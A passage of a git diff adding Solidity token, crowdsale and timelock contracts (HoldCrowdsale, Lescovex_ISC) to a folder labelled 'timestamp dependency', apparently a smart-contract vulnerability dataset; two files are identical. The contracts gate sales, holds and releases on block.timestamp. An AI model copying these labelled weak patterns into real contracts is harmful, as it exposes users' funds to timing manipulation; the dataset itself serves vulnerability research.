maxCap = earlyParticipantWhitelist[addr].maxCap; + return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; + } + + function isCrowdsaleFull() public constant returns (bool) { + return tokensSold >= maximumSellableTokens; + } + + function setMaximumSellableTokens(uint tokens) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + assert(!lastTierCntrct.finalized()); + + maximumSellableTokens = tokens; + MaximumSellableTokensChanged(maximumSellableTokens); + } + + function updateRate(uint newOneTokenInWei) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + assert(!lastTierCntrct.finalized()); + + pricingStrategy.updateRate(newOneTokenInWei); + } + + + function assignTokens(address receiver, uint tokenAmount) private { + MintableTokenExt mintableToken = MintableTokenExt(token); + mintableToken.mint(receiver, tokenAmount); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10559.sol b/smart_contract_dataset/timestamp dependency/10559.sol new file mode 100644 index 0000000000000000000000000000000000000000..73d8e4124a50dfcf06622f59032ac17b3629423d --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10559.sol @@ -0,0 +1,629 @@ +pragma solidity ^0.4.21; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + modifier canMint() { + require(!mintingFinished); + _; + } + + + function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { + totalSupply_ = totalSupply_.add(_amount); + balances[_to] = balances[_to].add(_amount); + emit Mint(_to, _amount); + emit Transfer(address(0), _to, _amount); + return true; + } + + + function finishMinting() onlyOwner canMint public returns (bool) { + mintingFinished = true; + emit MintFinished(); + return true; + } +} + + + +contract HoldToken is MintableToken { + using SafeMath for uint256; + + string public name = 'HOLD'; + string public symbol = 'HOLD'; + uint8 public decimals = 18; + + event Burn(address indexed burner, uint256 value); + event BurnTransferred(address indexed previousBurner, address indexed newBurner); + + address burnerRole; + + modifier onlyBurner() { + require(msg.sender == burnerRole); + _; + } + + function HoldToken(address _burner) public { + burnerRole = _burner; + } + + function transferBurnRole(address newBurner) public onlyBurner { + require(newBurner != address(0)); + BurnTransferred(burnerRole, newBurner); + burnerRole = newBurner; + } + + function burn(uint256 _value) public onlyBurner { + require(_value <= balances[msg.sender]); + balances[msg.sender] = balances[msg.sender].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + Burn(msg.sender, _value); + Transfer(msg.sender, address(0), _value); + } +} + + + + +contract Crowdsale { + using SafeMath for uint256; + + + HoldToken public token; + + + uint256 public startTime; + uint256 public endTime; + + uint256 public rate; + + + address public wallet; + + + uint256 public weiRaised; + + + event TokenPurchase(address indexed beneficiary, uint256 indexed value, uint256 indexed amount, uint256 transactionId); + + + function Crowdsale( + uint256 _startTime, + uint256 _endTime, + uint256 _rate, + address _wallet, + uint256 _initialWeiRaised + ) public { + require(_startTime >= now); + require(_endTime >= _startTime); + require(_wallet != address(0)); + require(_rate > 0); + + token = new HoldToken(_wallet); + startTime = _startTime; + endTime = _endTime; + rate = _rate; + wallet = _wallet; + weiRaised = _initialWeiRaised; + } + + + function hasEnded() public view returns (bool) { + return now > endTime; + } +} + + + + +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + assert(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + assert(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + assert(token.approve(spender, value)); + } +} + + + + +contract TokenTimelock { + using SafeERC20 for ERC20Basic; + + + ERC20Basic public token; + + + address public beneficiary; + + + uint256 public releaseTime; + + function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public { + + require(_releaseTime > block.timestamp); + token = _token; + beneficiary = _beneficiary; + releaseTime = _releaseTime; + } + + + function release() public { + + require(block.timestamp >= releaseTime); + + uint256 amount = token.balanceOf(this); + require(amount > 0); + + token.safeTransfer(beneficiary, amount); + } +} + + + +contract CappedCrowdsale is Crowdsale, Ownable { + using SafeMath for uint256; + + uint256 public hardCap; + uint256 public tokensToLock; + uint256 public releaseTime; + bool public isFinalized = false; + TokenTimelock public timeLock; + + event Finalized(); + event FinishMinting(); + event TokensMinted( + address indexed beneficiary, + uint256 indexed amount + ); + + function CappedCrowdsale(uint256 _hardCap, uint256 _tokensToLock, uint256 _releaseTime) public { + require(_hardCap > 0); + require(_tokensToLock > 0); + require(_releaseTime > endTime); + hardCap = _hardCap; + releaseTime = _releaseTime; + tokensToLock = _tokensToLock; + + timeLock = new TokenTimelock(token, wallet, releaseTime); + } + + + function finalize() onlyOwner public { + require(!isFinalized); + + token.mint(address(timeLock), tokensToLock); + + Finalized(); + isFinalized = true; + } + + function finishMinting() onlyOwner public { + require(token.mintingFinished() == false); + require(isFinalized); + token.finishMinting(); + + FinishMinting(); + } + + function mint(address beneficiary, uint256 amount) onlyOwner public { + require(!token.mintingFinished()); + require(isFinalized); + require(amount > 0); + require(beneficiary != address(0)); + token.mint(beneficiary, amount); + + TokensMinted(beneficiary, amount); + } + + + + function hasEnded() public view returns (bool) { + bool capReached = weiRaised >= hardCap; + return super.hasEnded() || capReached || isFinalized; + } + +} + + + +contract OnlyWhiteListedAddresses is Ownable { + using SafeMath for uint256; + address utilityAccount; + mapping (address => bool) whitelist; + mapping (address => address) public referrals; + + modifier onlyOwnerOrUtility() { + require(msg.sender == owner || msg.sender == utilityAccount); + _; + } + + event WhitelistedAddresses( + address[] users + ); + + event ReferralsAdded( + address[] user, + address[] referral + ); + + function OnlyWhiteListedAddresses(address _utilityAccount) public { + utilityAccount = _utilityAccount; + } + + function whitelistAddress (address[] users) public onlyOwnerOrUtility { + for (uint i = 0; i < users.length; i++) { + whitelist[users[i]] = true; + } + WhitelistedAddresses(users); + } + + function addAddressReferrals (address[] users, address[] _referrals) public onlyOwnerOrUtility { + require(users.length == _referrals.length); + for (uint i = 0; i < users.length; i++) { + require(isWhiteListedAddress(users[i])); + + referrals[users[i]] = _referrals[i]; + } + ReferralsAdded(users, _referrals); + } + + function isWhiteListedAddress (address addr) public view returns (bool) { + return whitelist[addr]; + } +} + + + +contract HoldCrowdsale is CappedCrowdsale, OnlyWhiteListedAddresses { + using SafeMath for uint256; + + struct TokenPurchaseRecord { + uint256 timestamp; + uint256 weiAmount; + address beneficiary; + } + + uint256 transactionId = 1; + + mapping (uint256 => TokenPurchaseRecord) pendingTransactions; + mapping (uint256 => bool) completedTransactions; + + uint256 public referralPercentage; + uint256 public individualCap; + + + event TokenPurchaseRequest( + uint256 indexed transactionId, + address beneficiary, + uint256 indexed timestamp, + uint256 indexed weiAmount, + uint256 tokensAmount + ); + + event ReferralTokensSent( + address indexed beneficiary, + uint256 indexed tokensAmount, + uint256 indexed transactionId + ); + + event BonusTokensSent( + address indexed beneficiary, + uint256 indexed tokensAmount, + uint256 indexed transactionId + ); + + function HoldCrowdsale( + uint256 _startTime, + uint256 _endTime, + uint256 _icoHardCapWei, + uint256 _referralPercentage, + uint256 _rate, + address _wallet, + uint256 _tokensToLock, + uint256 _releaseTime, + uint256 _privateWeiRaised, + uint256 _individualCap, + address _utilityAccount + ) public + OnlyWhiteListedAddresses(_utilityAccount) + CappedCrowdsale(_icoHardCapWei, _tokensToLock, _releaseTime) + Crowdsale(_startTime, _endTime, _rate, _wallet, _privateWeiRaised) + { + referralPercentage = _referralPercentage; + individualCap = _individualCap; + } + + + function () external payable { + buyTokens(msg.sender); + } + + + function buyTokens(address beneficiary) public payable { + require(!isFinalized); + require(beneficiary == msg.sender); + require(msg.value != 0); + require(msg.value >= individualCap); + + uint256 weiAmount = msg.value; + require(isWhiteListedAddress(beneficiary)); + require(validPurchase(weiAmount)); + + + weiRaised = weiRaised.add(weiAmount); + + uint256 _transactionId = transactionId; + uint256 tokensAmount = weiAmount.mul(rate); + + pendingTransactions[_transactionId] = TokenPurchaseRecord(now, weiAmount, beneficiary); + transactionId += 1; + + + TokenPurchaseRequest(_transactionId, beneficiary, now, weiAmount, tokensAmount); + forwardFunds(); + } + + function issueTokensMultiple(uint256[] _transactionIds, uint256[] bonusTokensAmounts) public onlyOwner { + require(isFinalized); + require(_transactionIds.length == bonusTokensAmounts.length); + for (uint i = 0; i < _transactionIds.length; i++) { + issueTokens(_transactionIds[i], bonusTokensAmounts[i]); + } + } + + function issueTokens(uint256 _transactionId, uint256 bonusTokensAmount) internal { + require(completedTransactions[_transactionId] != true); + require(pendingTransactions[_transactionId].timestamp != 0); + + TokenPurchaseRecord memory record = pendingTransactions[_transactionId]; + uint256 tokens = record.weiAmount.mul(rate); + address referralAddress = referrals[record.beneficiary]; + + token.mint(record.beneficiary, tokens); + TokenPurchase(record.beneficiary, record.weiAmount, tokens, _transactionId); + + completedTransactions[_transactionId] = true; + + if (bonusTokensAmount != 0) { + require(bonusTokensAmount != 0); + token.mint(record.beneficiary, bonusTokensAmount); + BonusTokensSent(record.beneficiary, bonusTokensAmount, _transactionId); + } + + if (referralAddress != address(0)) { + uint256 referralAmount = tokens.mul(referralPercentage).div(uint256(100)); + token.mint(referralAddress, referralAmount); + ReferralTokensSent(referralAddress, referralAmount, _transactionId); + } + } + + function validPurchase(uint256 weiAmount) internal view returns (bool) { + bool withinCap = weiRaised.add(weiAmount) <= hardCap; + bool withinCrowdsaleInterval = now >= startTime && now <= endTime; + return withinCrowdsaleInterval && withinCap; + } + + function forwardFunds() internal { + wallet.transfer(msg.value); + } +} + + + +contract Migrations { + address public owner; + uint public last_completed_migration; + + modifier restricted() { + if (msg.sender == owner) _; + } + + function Migrations() public { + owner = msg.sender; + } + + function setCompleted(uint completed) public restricted { + last_completed_migration = completed; + } + + function upgrade(address new_address) public restricted { + Migrations upgraded = Migrations(new_address); + upgraded.setCompleted(last_completed_migration); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10560.sol b/smart_contract_dataset/timestamp dependency/10560.sol new file mode 100644 index 0000000000000000000000000000000000000000..73d8e4124a50dfcf06622f59032ac17b3629423d --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10560.sol @@ -0,0 +1,629 @@ +pragma solidity ^0.4.21; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + modifier canMint() { + require(!mintingFinished); + _; + } + + + function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { + totalSupply_ = totalSupply_.add(_amount); + balances[_to] = balances[_to].add(_amount); + emit Mint(_to, _amount); + emit Transfer(address(0), _to, _amount); + return true; + } + + + function finishMinting() onlyOwner canMint public returns (bool) { + mintingFinished = true; + emit MintFinished(); + return true; + } +} + + + +contract HoldToken is MintableToken { + using SafeMath for uint256; + + string public name = 'HOLD'; + string public symbol = 'HOLD'; + uint8 public decimals = 18; + + event Burn(address indexed burner, uint256 value); + event BurnTransferred(address indexed previousBurner, address indexed newBurner); + + address burnerRole; + + modifier onlyBurner() { + require(msg.sender == burnerRole); + _; + } + + function HoldToken(address _burner) public { + burnerRole = _burner; + } + + function transferBurnRole(address newBurner) public onlyBurner { + require(newBurner != address(0)); + BurnTransferred(burnerRole, newBurner); + burnerRole = newBurner; + } + + function burn(uint256 _value) public onlyBurner { + require(_value <= balances[msg.sender]); + balances[msg.sender] = balances[msg.sender].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + Burn(msg.sender, _value); + Transfer(msg.sender, address(0), _value); + } +} + + + + +contract Crowdsale { + using SafeMath for uint256; + + + HoldToken public token; + + + uint256 public startTime; + uint256 public endTime; + + uint256 public rate; + + + address public wallet; + + + uint256 public weiRaised; + + + event TokenPurchase(address indexed beneficiary, uint256 indexed value, uint256 indexed amount, uint256 transactionId); + + + function Crowdsale( + uint256 _startTime, + uint256 _endTime, + uint256 _rate, + address _wallet, + uint256 _initialWeiRaised + ) public { + require(_startTime >= now); + require(_endTime >= _startTime); + require(_wallet != address(0)); + require(_rate > 0); + + token = new HoldToken(_wallet); + startTime = _startTime; + endTime = _endTime; + rate = _rate; + wallet = _wallet; + weiRaised = _initialWeiRaised; + } + + + function hasEnded() public view returns (bool) { + return now > endTime; + } +} + + + + +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + assert(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + assert(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + assert(token.approve(spender, value)); + } +} + + + + +contract TokenTimelock { + using SafeERC20 for ERC20Basic; + + + ERC20Basic public token; + + + address public beneficiary; + + + uint256 public releaseTime; + + function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public { + + require(_releaseTime > block.timestamp); + token = _token; + beneficiary = _beneficiary; + releaseTime = _releaseTime; + } + + + function release() public { + + require(block.timestamp >= releaseTime); + + uint256 amount = token.balanceOf(this); + require(amount > 0); + + token.safeTransfer(beneficiary, amount); + } +} + + + +contract CappedCrowdsale is Crowdsale, Ownable { + using SafeMath for uint256; + + uint256 public hardCap; + uint256 public tokensToLock; + uint256 public releaseTime; + bool public isFinalized = false; + TokenTimelock public timeLock; + + event Finalized(); + event FinishMinting(); + event TokensMinted( + address indexed beneficiary, + uint256 indexed amount + ); + + function CappedCrowdsale(uint256 _hardCap, uint256 _tokensToLock, uint256 _releaseTime) public { + require(_hardCap > 0); + require(_tokensToLock > 0); + require(_releaseTime > endTime); + hardCap = _hardCap; + releaseTime = _releaseTime; + tokensToLock = _tokensToLock; + + timeLock = new TokenTimelock(token, wallet, releaseTime); + } + + + function finalize() onlyOwner public { + require(!isFinalized); + + token.mint(address(timeLock), tokensToLock); + + Finalized(); + isFinalized = true; + } + + function finishMinting() onlyOwner public { + require(token.mintingFinished() == false); + require(isFinalized); + token.finishMinting(); + + FinishMinting(); + } + + function mint(address beneficiary, uint256 amount) onlyOwner public { + require(!token.mintingFinished()); + require(isFinalized); + require(amount > 0); + require(beneficiary != address(0)); + token.mint(beneficiary, amount); + + TokensMinted(beneficiary, amount); + } + + + + function hasEnded() public view returns (bool) { + bool capReached = weiRaised >= hardCap; + return super.hasEnded() || capReached || isFinalized; + } + +} + + + +contract OnlyWhiteListedAddresses is Ownable { + using SafeMath for uint256; + address utilityAccount; + mapping (address => bool) whitelist; + mapping (address => address) public referrals; + + modifier onlyOwnerOrUtility() { + require(msg.sender == owner || msg.sender == utilityAccount); + _; + } + + event WhitelistedAddresses( + address[] users + ); + + event ReferralsAdded( + address[] user, + address[] referral + ); + + function OnlyWhiteListedAddresses(address _utilityAccount) public { + utilityAccount = _utilityAccount; + } + + function whitelistAddress (address[] users) public onlyOwnerOrUtility { + for (uint i = 0; i < users.length; i++) { + whitelist[users[i]] = true; + } + WhitelistedAddresses(users); + } + + function addAddressReferrals (address[] users, address[] _referrals) public onlyOwnerOrUtility { + require(users.length == _referrals.length); + for (uint i = 0; i < users.length; i++) { + require(isWhiteListedAddress(users[i])); + + referrals[users[i]] = _referrals[i]; + } + ReferralsAdded(users, _referrals); + } + + function isWhiteListedAddress (address addr) public view returns (bool) { + return whitelist[addr]; + } +} + + + +contract HoldCrowdsale is CappedCrowdsale, OnlyWhiteListedAddresses { + using SafeMath for uint256; + + struct TokenPurchaseRecord { + uint256 timestamp; + uint256 weiAmount; + address beneficiary; + } + + uint256 transactionId = 1; + + mapping (uint256 => TokenPurchaseRecord) pendingTransactions; + mapping (uint256 => bool) completedTransactions; + + uint256 public referralPercentage; + uint256 public individualCap; + + + event TokenPurchaseRequest( + uint256 indexed transactionId, + address beneficiary, + uint256 indexed timestamp, + uint256 indexed weiAmount, + uint256 tokensAmount + ); + + event ReferralTokensSent( + address indexed beneficiary, + uint256 indexed tokensAmount, + uint256 indexed transactionId + ); + + event BonusTokensSent( + address indexed beneficiary, + uint256 indexed tokensAmount, + uint256 indexed transactionId + ); + + function HoldCrowdsale( + uint256 _startTime, + uint256 _endTime, + uint256 _icoHardCapWei, + uint256 _referralPercentage, + uint256 _rate, + address _wallet, + uint256 _tokensToLock, + uint256 _releaseTime, + uint256 _privateWeiRaised, + uint256 _individualCap, + address _utilityAccount + ) public + OnlyWhiteListedAddresses(_utilityAccount) + CappedCrowdsale(_icoHardCapWei, _tokensToLock, _releaseTime) + Crowdsale(_startTime, _endTime, _rate, _wallet, _privateWeiRaised) + { + referralPercentage = _referralPercentage; + individualCap = _individualCap; + } + + + function () external payable { + buyTokens(msg.sender); + } + + + function buyTokens(address beneficiary) public payable { + require(!isFinalized); + require(beneficiary == msg.sender); + require(msg.value != 0); + require(msg.value >= individualCap); + + uint256 weiAmount = msg.value; + require(isWhiteListedAddress(beneficiary)); + require(validPurchase(weiAmount)); + + + weiRaised = weiRaised.add(weiAmount); + + uint256 _transactionId = transactionId; + uint256 tokensAmount = weiAmount.mul(rate); + + pendingTransactions[_transactionId] = TokenPurchaseRecord(now, weiAmount, beneficiary); + transactionId += 1; + + + TokenPurchaseRequest(_transactionId, beneficiary, now, weiAmount, tokensAmount); + forwardFunds(); + } + + function issueTokensMultiple(uint256[] _transactionIds, uint256[] bonusTokensAmounts) public onlyOwner { + require(isFinalized); + require(_transactionIds.length == bonusTokensAmounts.length); + for (uint i = 0; i < _transactionIds.length; i++) { + issueTokens(_transactionIds[i], bonusTokensAmounts[i]); + } + } + + function issueTokens(uint256 _transactionId, uint256 bonusTokensAmount) internal { + require(completedTransactions[_transactionId] != true); + require(pendingTransactions[_transactionId].timestamp != 0); + + TokenPurchaseRecord memory record = pendingTransactions[_transactionId]; + uint256 tokens = record.weiAmount.mul(rate); + address referralAddress = referrals[record.beneficiary]; + + token.mint(record.beneficiary, tokens); + TokenPurchase(record.beneficiary, record.weiAmount, tokens, _transactionId); + + completedTransactions[_transactionId] = true; + + if (bonusTokensAmount != 0) { + require(bonusTokensAmount != 0); + token.mint(record.beneficiary, bonusTokensAmount); + BonusTokensSent(record.beneficiary, bonusTokensAmount, _transactionId); + } + + if (referralAddress != address(0)) { + uint256 referralAmount = tokens.mul(referralPercentage).div(uint256(100)); + token.mint(referralAddress, referralAmount); + ReferralTokensSent(referralAddress, referralAmount, _transactionId); + } + } + + function validPurchase(uint256 weiAmount) internal view returns (bool) { + bool withinCap = weiRaised.add(weiAmount) <= hardCap; + bool withinCrowdsaleInterval = now >= startTime && now <= endTime; + return withinCrowdsaleInterval && withinCap; + } + + function forwardFunds() internal { + wallet.transfer(msg.value); + } +} + + + +contract Migrations { + address public owner; + uint public last_completed_migration; + + modifier restricted() { + if (msg.sender == owner) _; + } + + function Migrations() public { + owner = msg.sender; + } + + function setCompleted(uint completed) public restricted { + last_completed_migration = completed; + } + + function upgrade(address new_address) public restricted { + Migrations upgraded = Migrations(new_address); + upgraded.setCompleted(last_completed_migration); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10736.sol b/smart_contract_dataset/timestamp dependency/10736.sol new file mode 100644 index 0000000000000000000000000000000000000000..47367f1952174dcaf428ed7175f636d7be638293 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10736.sol @@ -0,0 +1,277 @@ +pragma solidity ^0.4.24; + + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + +contract Ownable { + address public owner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + constructor() internal { + owner = msg.sender; + } + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } +} + + + + + + + + +contract LescovexERC20 is Ownable { + using SafeMath for uint256; + + mapping (address => uint256) public balances; + + mapping (address => mapping (address => uint256)) internal allowed; + + mapping (address => timeHold) holded; + + struct timeHold{ + uint256[] amount; + uint256[] time; + uint256 length; + } + + + string public constant standard = "ERC20 Lescovex ISC Income Smart Contract"; + uint8 public constant decimals = 8; + uint256 public holdMax = 100; + uint256 public totalSupply; + uint256 public holdTime; + string public name; + string public symbol; + + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + + function holdedOf(address _owner) public view returns (uint256) { + + + uint256 requiredTime = block.timestamp - holdTime; + + + uint256 iValid = 0; + uint256 iNotValid = holded[_owner].length; + if (iNotValid == 0 + || holded[_owner].time[iValid] >= requiredTime) { + return 0; + } + + + uint256 i = iNotValid / 2; + while (i > iValid) { + if (holded[_owner].time[i] < requiredTime) { + iValid = i; + } else { + iNotValid = i; + } + i = (iNotValid + iValid) / 2; + } + return holded[_owner].amount[iValid]; + } + + function hold(address _to, uint256 _value) internal { + assert(holded[_to].length < holdMax); + + + uint256 len = holded[_to].length; + uint256 accumulatedValue = (len == 0 ) ? + _value : + _value + holded[_to].amount[len - 1]; + + + holded[_to].amount.push(accumulatedValue); + holded[_to].time.push(block.timestamp); + holded[_to].length++; + } + + function setHoldTime(uint256 _value) external onlyOwner{ + holdTime = _value; + } + + function setHoldMax(uint256 _value) external onlyOwner{ + holdMax = _value; + } + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + + delete holded[msg.sender]; + hold(msg.sender,balances[msg.sender]); + hold(_to,_value); + + balances[_to] = balances[_to].add(_value); + + emit Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + + delete holded[_from]; + hold(_from,balances[_from]); + hold(_to,_value); + + balances[_to] = balances[_to].add(_value); + + emit Transfer(_from, _to, _value); + return true; + } + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { + tokenRecipient spender = tokenRecipient(_spender); + + if (approve(_spender, _value)) { + spender.receiveApproval(msg.sender, _value, this, _extraData); + return true; + } + } +} + + +interface tokenRecipient { + function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external ; +} + + +contract Lescovex_ISC is LescovexERC20 { + + uint256 public contractBalance = 0; + + + event LogDeposit(address sender, uint amount); + event LogWithdrawal(address receiver, uint amount); + + address contractAddr = this; + + + 